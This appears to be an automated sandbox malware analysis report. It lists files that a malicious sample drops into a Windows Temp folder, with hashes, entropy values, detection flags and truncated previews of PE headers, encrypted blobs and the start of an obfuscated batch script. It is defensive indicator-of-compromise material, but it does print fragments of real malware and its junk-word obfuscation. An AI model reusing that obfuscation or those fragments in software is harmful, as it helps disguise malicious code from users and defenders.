Joe Sandbox View:	Filename: 67079aecc452b_xin.exe, Detection: malicious, Browse Filename: 6706e721f2c06.exe, Detection: malicious, Browse Filename: hlyG1m5UmO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: M13W1o3scc.exe, Detection: malicious, Browse Filename: down.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: InstallSetup.exe, Detection: malicious, Browse Filename: bomb.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O

Download File

Process:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
File Type:	data
Category:	dropped
Size (bytes):	589559
Entropy (8bit):	7.999707598770209
Encrypted:	true
SSDEEP:	12288:+WPM1wUWq0fYgJafcwbk88kntuz+WrR9sv9mkkNVTJMa:+WPiwfqGYgAfnU6CR9Pk+TJMa
MD5:	D61BFD64FBF003BA89A0038E38339DF6
SHA1:	EF8F3EA9AA749EA516E2D62AE586680C4E14D4E5
SHA-256:	3133DFE772AFBE5FFD178038BEE3FF413665EC29A5565881D63BBB5370C58AF2
SHA-512:	56FBB30D2358297E662F19A6236C9E039D4EF78B97BAF34508A04C80388483B5EE17DD2CBA97A3BBBDCB4E28CE7D9322CFCAB3974718C65945265591E86BA09F
Malicious:	false
Preview:	oc...A.Pr;.........n.@..."w<..s...D1...........m..T#.}..}r.\|.o..;d.T.0pI..a.J1.Q..r.d....Jw.-.....G...h$...}.13AW.o}...J{.\....^.....8.N...%H..5...2S..h...j+yu....W..../$..%35E....,;.........S~.G.v...[$..~.i...4`^..)...U.KKX.l..%.=........2r.... .........}!..}~.B.Y?!.w...#..O..K.h?E..J..>4.........ox5......_.v.>..U.&_oBV.ko....(k....f...8.wZ!....K...f,"T,)...7Z_.m.@J\.&....I......-....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.M.'.F...h............................kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..w.R..,P..Myn.2..t.W.....\|...0....R.....9.........m.......q8.5...x..2).U.j....>.p#.~.<...(..-...8..O....<{.,..}#......I......'..V-.._..`ER....Og].%..b.q

C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 10%, Browse
Joe Sandbox View:	Filename: 67079aecc452b_xin.exe, Detection: malicious, Browse Filename: 6706e721f2c06.exe, Detection: malicious, Browse Filename: hlyG1m5UmO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: M13W1o3scc.exe, Detection: malicious, Browse Filename: down.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: InstallSetup.exe, Detection: malicious, Browse Filename: bomb.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\103495\n

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	589559
Entropy (8bit):	7.999707598770209
Encrypted:	true
SSDEEP:	12288:+WPM1wUWq0fYgJafcwbk88kntuz+WrR9sv9mkkNVTJMa:+WPiwfqGYgAfnU6CR9Pk+TJMa
MD5:	D61BFD64FBF003BA89A0038E38339DF6
SHA1:	EF8F3EA9AA749EA516E2D62AE586680C4E14D4E5
SHA-256:	3133DFE772AFBE5FFD178038BEE3FF413665EC29A5565881D63BBB5370C58AF2
SHA-512:	56FBB30D2358297E662F19A6236C9E039D4EF78B97BAF34508A04C80388483B5EE17DD2CBA97A3BBBDCB4E28CE7D9322CFCAB3974718C65945265591E86BA09F
Malicious:	false
Preview:	oc...A.Pr;.........n.@..."w<..s...D1...........m..T#.}..}r.\|.o..;d.T.0pI..a.J1.Q..r.d....Jw.-.....G...h$...}.13AW.o}...J{.\....^.....8.N...%H..5...2S..h...j+yu....W..../$..%35E....,;.........S~.G.v...[$..~.i...4`^..)...U.KKX.l..%.=........2r.... .........}!..}~.B.Y?!.w...#..O..K.h?E..J..>4.........ox5......_.v.>..U.&_oBV.ko....(k....f...8.wZ!....K...f,"T,)...7Z_.m.@J\.&....I......-....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.M.'.F...h............................kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..w.R..,P..Myn.2..t.W.....\|...0....R.....9.........m.......q8.5...x..2).U.j....>.p#.~.<...(..-...8..O....<{.,..}#......I......'..V-.._..`ER....Og].%..b.q

C:\Users\user\AppData\Local\Temp\Appraisal

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	3831
Entropy (8bit):	7.946757292660395
Encrypted:	false
SSDEEP:	96:HtLdIQTWXW4M4hKF9wZpR7ezSKMaRTeBvOG03d2oF1U2pkmIgSl:HtBIQTb4ZpR0SKMaIBe3QoF1BNDSl
MD5:	768DB4AC22081145374C24722FCC43AD
SHA1:	BDB3807C1202E377300C0BA5C3583A698C37ADFD
SHA-256:	344B4C601FD07DF63377194621D87533A3AFA29FF6F56190C4F64B5D9FAB5B08
SHA-512:	D68A1343313C8F7D6EA6320FDD421A119725B2EBF71853E1726BCDDDA7E88812C2D018914AC9FA25AD4C236536813D33FB746E1B76E9860405025F78BDC1DDBD
Malicious:	false
Preview:	2u..@....qo..XWs.."1....{.a..4h.A<.........k?.....`n.(...I..,.....v......7........E......D.R.....!..m...=.1....#I>.,r...u..1.....n..W~q.$R..0.?..X.L...".#....cV.Zim>.. ..e....<.V:..b.x@...)Fl.....}.....()..}..u[(XD.1...zw...@....b&....8....q...>b...,.H.$.."5...."3_.Ay4.P.V..?B..`.3 .H......E.zUf......p..........cw.W@.nx.....GP.h../...'.....B....N..sg.s/..h.K.FT...4.867uW\|...h#...+..#..-..{.R........!..s.\|...dZj#.&.:.D.%....q1..t..........^P9..0:`d....9............<-W8.&.tC......]s...@#U..d........@.t...tNp..]}...c8.\..ZAlJ,....11N;_.9.H..=....T?.H@k..<6..?..K..fA..RR...F..w].......G`...F&.,.s.........za...2.....kI.W.W..<@...3=m/4N..?.(....Yo\|8.6...}........w].u.......'..}Zc.Q.L......`P..Qp\|ivz....{..ag..,d/"..)m....c.4HIP....z...zd.......3..../]K.....`./g_..H.$..v...C....%?.hA.O.O.B..ka.~?dDq..e...a.).4.u....&......GX...~:.......(>f..o..R......S.:o...b..(.r.\|.).[.%....d....g.Ru..~C.-.8...E.Z2.{X.M.....'.V ..j...l....../S..[6....7...U.]

C:\Users\user\AppData\Local\Temp\Barbie

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.9975055008806235
Encrypted:	true
SSDEEP:	1536:/BvokD+6XgWAVRX3efhLoR1Q28NgQhjbfa5ZU:/BRD+68VRX3eiB21GA
MD5:	001014C69A9062B0753718619B7E71E3
SHA1:	5EE78AB9158525C3F2342707C29FBC8C50DC8426
SHA-256:	29A6F67DE3F128B72F48CD17714C88EC0EF28771A242A4C6924087807D0F1182
SHA-512:	17BF97DFD5B44D40B0D662095D62E5AF2954390DE62B9791C1B1FAEA26C87E6427AA06B27BF7E53DDECDB7860D5B2B031DA87164341FD945C320236F54FCFDEA
Malicious:	false
Preview:	.....< ."/3...g.f...M.U.....\.7.7.....Z".T`..H..@/...PG.m...Q.DX.!...i.rs..Q]....^Y..r..g.]..w..`.'..Cn.g6.../.......j7...-..{.N..V........Pbs.6. 9Z.C.,rhDtT.....}$&.{O..F...:..T8.D..J.D....w.2;.jw.q.5.....6.Z...6,..l.8..".0q..UEJ..&=.&.6c...tE4.......&.v...\|...M...R........s.T@.K..n.w&.5......t......U{.-.,...u...!......O>.C....l.......fU..yG._.~..R....J$#.oi....8..R.$c.F%.aQ.i%.@.N.sU.H...;3i..L...C.G.=.....v...x...\|p.UJ...zg...G.)CBCik:mK".6...U3@...Z#_.Y.m.#.}M=..>g;...&,M..b_..$yK.2..E8g..z.;..~2. ....G\|.G........<.w....u.x-;..Ra...kN.d.&...;New.q<....c1....u6Kl..H....H.#]..+....CG!.2.].s/G...M..q.......6JO..,.?......P.CjD.Pr...H........?)V...........F...f-;;,N#.et...... ..S..D...O...f.>...z+.E$,...{.... .c.,5.17........z.q.Vm..H...?.[.V..X6Z.......y.0.K.'".....q.D.........Na.Yh....F.q.......+.o..9k..I.......S.p...y..<X.TH.l aTc...LQ.....I.A^u.i\.jI....;....0}..#.ve!.t..{...\.D%..>.B5'D.....F.d_..={E.H..,..w.~zY_.$.j.EJ......UD..

C:\Users\user\AppData\Local\Temp\Centres

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	ASCII text, with very long lines (1199), with CRLF line terminators
Category:	dropped
Size (bytes):	23862
Entropy (8bit):	5.096137660724854
Encrypted:	false
SSDEEP:	384:Q4VFdKAGOKr0a70GNJZdjLU7xQnrSVAMqmTLQ+dsbBBTlwKns/N7UosAy+xmlYf:PVFdjKrPYCJZVU7xQrMqcM+2Rlw3N7Uy
MD5:	DE5800B2AD98E412AFE2A7BC93DFA639
SHA1:	E3D423C60E01C7C079261521B0939DA80A85649A
SHA-256:	67D35DB2809DA95D2DC7E4CE76800103CBC042E2F02D1CC1934A6C06E5E6737C
SHA-512:	E935DF1E0716EA1D5E5DCDF28E1A7CCCBAB533737F10EBF9DFF9363E457512EBC9661AE615F06FF514EC03A1F3386E45BB98C996ADF5A0FD7EEDBA2EFEC74079
Malicious:	false
Preview:	Set Adidas=T..yUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-..mxrGRochester-Vice-Assign-J-Su-Minus-Dream-..ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-..xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-..hgLouisiana-Orange-Bedford-Porno-Gregory-Skype-Eddie-..LOPromotion-Retreat-Reservations-Gig-Voyuer-Luxury-Julian-Physics-Mag-..KQENutrition-Tue-Promotion-Subtle-Nicaragua-..KmSPRack-Mem-Badge-Modular-Pee-Dd-..JvSoon-Permitted-Voted-Bath-Helped-Management-Nobody-..Set Foot=H..ESLfShit-Pills-Tvs-..OSGuns-General-Terry-Telephone-Barn-Stress-..VMfMarried-Schools-Tracks-Bradley-Massive-..KmWTent-Jail-..oiPci-Concerned-Exceptional-Halo-Hate-Paris-Marc-Programs-..YHDASoviet-Circulation-Economy-Ga-..BdBrush-Goods-Fallen-During-Travels-Hardly-Lg-..OLWZQuiet-Hh-Ties-Avon-Tip-Dependence-Counter-Core-..UiYGenerous-Readily-Compound-Red-Worse-Os-..Set Decades=0..uLvCoordinator-Dirty-Younger-Civilization-Signing-Og-..vPifIsolated-..cfkhPatricia-Singh-Races-Edit-Solvin

C:\Users\user\AppData\Local\Temp\Centres.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1199), with CRLF line terminators
Category:	dropped
Size (bytes):	23862
Entropy (8bit):	5.096137660724854
Encrypted:	false
SSDEEP:	384:Q4VFdKAGOKr0a70GNJZdjLU7xQnrSVAMqmTLQ+dsbBBTlwKns/N7UosAy+xmlYf:PVFdjKrPYCJZVU7xQrMqcM+2Rlw3N7Uy
MD5:	DE5800B2AD98E412AFE2A7BC93DFA639
SHA1:	E3D423C60E01C7C079261521B0939DA80A85649A
SHA-256:	67D35DB2809DA95D2DC7E4CE76800103CBC042E2F02D1CC1934A6C06E5E6737C
SHA-512:	E935DF1E0716EA1D5E5DCDF28E1A7CCCBAB533737F10EBF9DFF9363E457512EBC9661AE615F06FF514EC03A1F3386E45BB98C996ADF5A0FD7EEDBA2EFEC74079
Malicious:	false
Preview:	Set Adidas=T..yUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-..mxrGRochester-Vice-Assign-J-Su-Minus-Dream-..ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-..xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-..hgLouisiana-Orange-Bedford-Porno-Gregory-Skype-Eddie-..LOPromotion-Retreat-Reservations-Gig-Voyuer-Luxury-Julian-Physics-Mag-..KQENutrition-Tue-Promotion-Subtle-Nicaragua-..KmSPRack-Mem-Badge-Modular-Pee-Dd-..JvSoon-Permitted-Voted-Bath-Helped-Management-Nobody-..Set Foot=H..ESLfShit-Pills-Tvs-..OSGuns-General-Terry-Telephone-Barn-Stress-..VMfMarried-Schools-Tracks-Bradley-Massive-..KmWTent-Jail-..oiPci-Concerned-Exceptional-Halo-Hate-Paris-Marc-Programs-..YHDASoviet-Circulation-Economy-Ga-..BdBrush-Goods-Fallen-During-Travels-Hardly-Lg-..OLWZQuiet-Hh-Ties-Avon-Tip-Dependence-Counter-Core-..UiYGenerous-Readily-Compound-Red-Worse-Os-..Set Decades=0..uLvCoordinator-Dirty-Younger-Civilization-Signing-Og-..vPifIsolated-..cfkhPatricia-Singh-Races-Edit-Solvin

C:\Users\user\AppData\Local\Temp\Correct

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997785532907348
Encrypted:	true
SSDEEP:	1536:+bNAgMpBbyaSuuG7cEFKWgtnMOCQZaT1BB+kEcr1Ue38UnKC8TsvVwFLcFlEOtMI:TBbyuIEFutntgrfgC5diAuOS8V
MD5:	D91B8B96745F7B7D81179268D4DA4B4D
SHA1:	B4AD21AFB4044B0C1461E1C5523D792110FB6130
SHA-256:	8704CB6EBE7EEF39F91CA6838C2D06EB9B21ED6E6DFDDC5F5707B8CB4A9F64F1
SHA-512:	8A036E1C23FF3C1921F5FAAB9BC423D7AAD509E370EA1E45C31FC84E0E868E13C862CC51D14A1708B2147DA6D6447E8D7CB2179E1D5AD8F33C29CE03C59AF85F
Malicious:	false
Preview:	oc...A.Pr;.........n.@..."w<..s...D1...........m..T#.}..}r.\|.o..;d.T.0pI..a.J1.Q..r.d....Jw.-.....G...h$...}.13AW.o}...J{.\....^.....8.N...%H..5...2S..h...j+yu....W..../$..%35E....,;.........S~.G.v...[$..~.i...4`^..)...U.KKX.l..%.=........2r.... .........}!..}~.B.Y?!.w...#..O..K.h?E..J..>4.........ox5......_.v.>..U.&_oBV.ko....(k....f...8.wZ!....K...f,"T,)...7Z_.m.@J\.&....I......-....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.M.'.F...h............................kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..w.R..,P..Myn.2..t.W.....\|...0....R.....9.........m.......q8.5...x..2).U.j....>.p#.~.<...(..-...8..O....<{.,..}#......I......'..V-.._..`ER....Og].%..b.q

C:\Users\user\AppData\Local\Temp\Fine

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	7800
Entropy (8bit):	6.237887479843994
Encrypted:	false
SSDEEP:	192:fUHAeOqAFDw09CV/2nPvj6DdMP3r1HI5jMlbN+G3yM:fUHAHhww+/2nlP3r1WAL3yM
MD5:	5A3868FBE5A6517157D7A0337C938E0A
SHA1:	4E8E6C526393D3D679C93D2A57B0DCA2EC0427FC
SHA-256:	75CB47C2BB9BEDEDD276C0008683B7E655A9E943626D2755BFA7D7E167F2B31B
SHA-512:	0D1C04C9D05395EBD831CA0DC94158CA32B0B5C9C839190E00EAECD572D8AB78CDB0EC07B55AFC38B8CFF1D59759A73D0AE13EF7B14A2CD8089B11FFB7E53668
Malicious:	false
Preview:	aroundaccommodategroupseverything..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Gloves

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.998271363701794
Encrypted:	true
SSDEEP:	1536:LhAC8plpAB13tObsRlWOFw5a7qbRSIBDoJ0MiSJj9cwhXYxZvJk0EKSxImCGg7AK:LIpABRtmsRlWYw5a7KyJZcwRYxBJHE5m
MD5:	383CECC8DE45B96CEFDF4CE6DDBAE343
SHA1:	8A12728453735E74E0D633B28BDF4556D4B0AF41
SHA-256:	A47C770A23612063F299F22871E18642B3D4668FB58765CDC279C4C0C3A23321
SHA-512:	3AE0ADE7BD22E407CEA05006C12F6F2A4A94A907919F2DEE40441D019631E848E2A6C90F2CA0D16691C15A087926AAC485F57E421AF0D60FC5BBFCAC43B36412
Malicious:	false
Preview:	.8..v.@P..V...). .0...'..b...7._O...'.734...\.C..U.t\|".Gj.werl<.x......x.Q..P?.Y"}..&..U....]...Q.fm..W..q...D.X..D.= .{.....;.A.`^....[.C..[....P...".Z......$.s`<4i......M....C..L.W[F.E..d{#..h .. ....p.....j..Z .S...&........ZY....w....4..Q.\..1..8..;............&...u.G........rN...qq!.F%Vf.8..tp..".nc.:....!./`.ZEF_....i.....O`.nK.......8..s.G..U.:...:.A.{. S>.]_e.^.i....n......=..Q.}C\|z..F_gC..9...{.Tt.M..Ma..5...~.q.b6..d.4..f.\|.<g...'I...A.f.\|..=....\...4@.... ..T[.].7..D.x>..TV.d.....w..Z..O...vy.....6.Ho....t..[.\|...78X.l.8.g...M.k.+..l[...[..l]..P.$.7.+#~.A..X..Z..B...p.......'..t..Q.Z.@....!....J.n...,6.....,.D.....I.../&.5i.....{.........Fz.................5.s....K.wL..[...:...\=+^.R...h.....m.Z......6.'!E...W...,Wm.X........+~7...5.z.^...H+o....c..?.b.........3#._.o.>........(..}...d.S....E.&...2~...(.t.....(..Kh.a$...Oc..@.4.>.....h..yCq.(.nW.E..../.>o.=8.........j....9w...:l..}!8....H....x.s.;J.,..G....1..

C:\Users\user\AppData\Local\Temp\Latin

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.997834867280466
Encrypted:	true
SSDEEP:	1536:POwYt0r7QuNT7NQyPOPSpnezwcV9xE1zaFTpX3XQwM78kIxTUU8n1V4J/:iIQu5NGPYezvTxE1upX3XQwsjUYVO/
MD5:	AC72A864D71E31270399396CEFA534E7
SHA1:	C41004BCFB507028F7D109EA2CBAB9A8BA5F4BD9
SHA-256:	F83C95DD15E4EB1B7F68946ECB8F1A689CC16CEBE02AE68EBC4E08E7AB467296
SHA-512:	7275D5A775A4FFA64AC59F0BB350582F19549A9C2FE5B0E6686D642E6BBD4B16D21E7B4358ADDEF096B539627D73CD39FE6A9D0377E817CA539C09CAFDC95180
Malicious:	false
Preview:	.d<[.@...2.M..2p......s.E..j.Q5...8.[PDw\.Jo.W.R.yt=....i..N)4...\L._. ..=V-.S?y.......q....q.6.n..D.XB.E.m.4y.kO..H{:A5Q......\5....A.4.\..q.d......v...<......j....<.-.Nn....D.E..g..4.$.K.;g.S...r..5H....&._=...JJ...\U........u..$...?...?4&.4......,...[q....A3@SrG\.S.......x...9.X.~.).X..txv#........w.......hS...{yN..[./..(?......F._.\)...P..O...G.<.T".~.{{...K....PL,+\..A.w'......EA"..A.(.....9:u..E....0m...2d..b.Mm.N..p....!.bC.t.t@...W..z.2.. ......(\|...&u.9.,..`.T!...d..i..ekO..O..t7`u.y...h.-....@..}.Y.lA.`0q2..18...JW{.{Y..hf/..e.js=5..1p..............z.....{..=...7.....5..ph.".....n..Lq.;}.......@.......S.....i.7..r..+&h%...?T.....+..Y!c.>...1:.....Q.N.e...p\|.H..~.M............3P\|<..0.%q2\|NQ.(DK.6k,.A..j....4H......~......o......y..d......\....?..J?.].u....p....'97...@j.ui..d023..(.0.....y.\|....F\|...`KGL.7..C.rR...\|p.yp.e.'.b.EJ.s.m..!.......?Id.)6..S.{\A..........\|.......-.....NCN.#b.N.......m.OD..&q.....b.....t..-.k.#.y.T...<J...

C:\Users\user\AppData\Local\Temp\Serious

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	885843
Entropy (8bit):	6.622038773759726
Encrypted:	false
SSDEEP:	12288:kV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:exz1JMyyzlohMf1tN70aw8501
MD5:	194A567844C46F20EABDCF8A7BF469DD
SHA1:	CCC915EEAEBEA7AD2C5550A3BA1C917B3708C469
SHA-256:	C2E3ADF32419B4163876794FCE4ED1F2C5D631A13AAAA955F3D3E30F1EB66A13
SHA-512:	BB5BE430767C176AFF3A5D3BFBE039CD67EDBA0246F3C51D302FD08D4BE19DEF43F7E6363D187AED454CD84F960DEA90746B7B6EDA525E3E4D67FA05B8BA3A00
Malicious:	false
Preview:	wL....wL....wL..=.wL....wL....wL....wL....wL.....j.^j\|Xf..wL.3....xL.h.I....xL....xL....xL..=.xL... xL.l.I...$xL...(xL...,xL..50xL...4xL.......8xL...<xL...@xL..=DxL..=HxL...\|xL....xL....xL..=.xL.f..wL..2.......~....]..E.. xL.P....Nu._^..wL.[..].V......\|xL.....c....%.xL....8xL.....b....%@xL... xL........xL........wL........wL.....D...^.U...(SVWh.....*...Y....A......^........xL..}..M.9..wL........E...P..xL.......}....xL..].....8..xL.......p....u.........................................E @....#E .E..@......E..E .E..E..}..............}...........u-j..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E..} .uFj..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E ....@.t.j...X.I.j..Y...E .u..E..u.j.j.P....I..u..E.j.SP....I..E.+E.j..5.xL.j..u$P.E.+E.P.u .u.S.u.h..I..u... .I..........Vj.P....I..E$.G..E..G<.E .G@.E.P.7..4.I..E.+E.GD.E.+E.j.j..GH....I.Pj0.7....I.j.W..wL..\....=.wL..u.h..@.j(j.j.....I...wL....wL...wL.j..5.xL..G................_^[..]. .3........."......'....M..P....M..R...U..}..W..wL.....

C:\Users\user\AppData\Local\Temp\Ski

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.998470680086986
Encrypted:	true
SSDEEP:	1536:FhL2bzYtAJ28r1yhcuDzkoKPze14spu84cnY6lxlbj1mCTS4Yj2VMr:H2fYtAJ2k1yWWhUzeRNYy3bjNTS4YyGr
MD5:	08342A0886A607763230CC9E7F9763E9
SHA1:	EDBEA1401B8653FED918C0E6ADBAF9E6271BEC52
SHA-256:	F7AD68CE94DF8B242FC3F6E9BD7814A16011214952805ED5E8E6ADEF74A27F48
SHA-512:	D2E319DD4E914DFB6F4399BC8527B4D1C764A02C4D5BDC8735F6CE9A46614622568692DAB02122C47B75D8B970F0418DE17FF08A8032B8F92FCF7E67D0259341
Malicious:	false
Preview:	)...(.$.[j-3.083....=.....9Z"N.3....Xl...a..v.yaU]Ev.4...ML....I...f."9Y............t. D!).. .g.b.@....JA.]<.t...-v.i.R...E...Ue....q].s...e..W=...:...YQz}~._l{g.Y.I..K....4.l....@r?...]"....U...._a5.)...Z...K.);..u63q...E..Pu....`...).P...j.....m.....a.(...V..G.5.......2.PA..E.}....J..(#.;).1?....}"....q......Eu"..~A^.I....e.b.J...w^.L2J...b......d....l..[f.Z...T......{.....c.C.`~...k...a.N.".qc..1.h[.s.`a6..p%....'...r.....eP..S...d6H"...G.<.ly.).a.(X...V.....Z.o...6..k.{.p..m......h\|]....7.v@.....R..l.K.F..E/..:..5.h..<.z..v.......+..-e.-..o.R.xAn....-.....Qz.i.&P}.....{.p...R.Dz.4...g.={.W<?r\|w..G]z.].....+...!..j1H...T.=..@..^..H.B?.s....5.8....$AS.S.Fb....K.>.{B.1.Ri.`....n.L-.%.tt....q..+......7H.tvf>.u..k.....W........yk.......\|OOv......K.(...\.K@.3H...._$.\|j.7...T.....$.g.j.)~...v.M.......I...z....e.\|..'...C...J1...1%.=....4..h.^^..>...[..4.8.{.....v19.....s..%.N....29.w.y*2..!.....o..C..4.:....,c$K3&R.&.J.....:.H....

C:\Users\user\AppData\Local\Temp\Story

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.997368475932792
Encrypted:	true
SSDEEP:	1536:J+Q3dgxNnWvKXe/b3h7iLpHdJUzOSa6kNFZett8zMdvBG:1Wje/ZilHdJUKSa6kNLetttvBG
MD5:	99E977093BC7AB3360CBC1146D0EE20C
SHA1:	AD950626C995AF3BBE62E9AC187FA7CABDA406AD
SHA-256:	C1551D0D3D6C658C1B55558C4FDB2B1BE9233715B63485997C935C434BD570E7
SHA-512:	C148E1D0374611A19D6724EB7337A93899CFB4DB9D040F3541A47AC35947098860BCA1A9EC16E7B479E1AA98A258209E969459B2546700B462D18376B868B8C3
Malicious:	false
Preview:	.z.......z..H.j...`.+W..?y8.^.[6..H...`yG...wR...<..~.Z..Wf.2...`.....V;.............W.%<..r....G..#.........m..C&./...c...?.9..Z.b.Y.q2...Q...kT....].....N.oX!(.....a;.2...S..#.sB\|.J..1. C._5.2..wMC%c=.......x....4.E.........3..,.=..S...w....tyU.A}...?.O$.....zlI..\|.<.'..>...-...R..>....Q\.dR&.7..v...........B.:/.=.......p..j.W...1..t...h[.y...>V'*'.-1...J^.y&_.R.h.Pe.Q.7..Qs&.....{...m.l.r.Oq...I2.l..An........a(....Wzd.].F...r.....K]...&i/...6.C......'C.B._f..G..H...!.&#I....."#B..'....W..w...2i>a..z..V.Zx....H...F......WD!..\..m1&+Z.....FT.m.....5.d......G.@....a..)"..\|D.U..&..Ll.L.C.!..0M.$.o$X4.. .a.v.G...7....1..,.uu....mo....7..b.g.W..8aQ....v+..pC.['XPc7..p..@......R...Z./..t"?.@7.u.m.C.Q...S._D.......+i5c...K...RBXU.[F.3..(..Q.\|S..w..E.......3w.o=#:..8..2/.Nr.]....G...[/...O.$.X5.T;O.Q.k:h....M...CauH..koS..}.......O..-O.;:$..4..a..')W<..G.9w..B.....#.....E.C_..E...;...~.......vM..J..."=..QZ..(.8..1..Y.....\|.S..b..H...b..:.`.r...

C:\Users\user\AppData\Local\Temp\Transparent

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997575500781217
Encrypted:	true
SSDEEP:	1536:AITtaftyMQXhoaS4SjfF7iLuiVjVK5xCUFQcCzo55:75aftCVS4SJ7Yuy4we5
MD5:	0B034950E941768616AF2EBA4F9D4000
SHA1:	A50F20A10E8DF21A1B2C1655F9F300C31D2EBED3
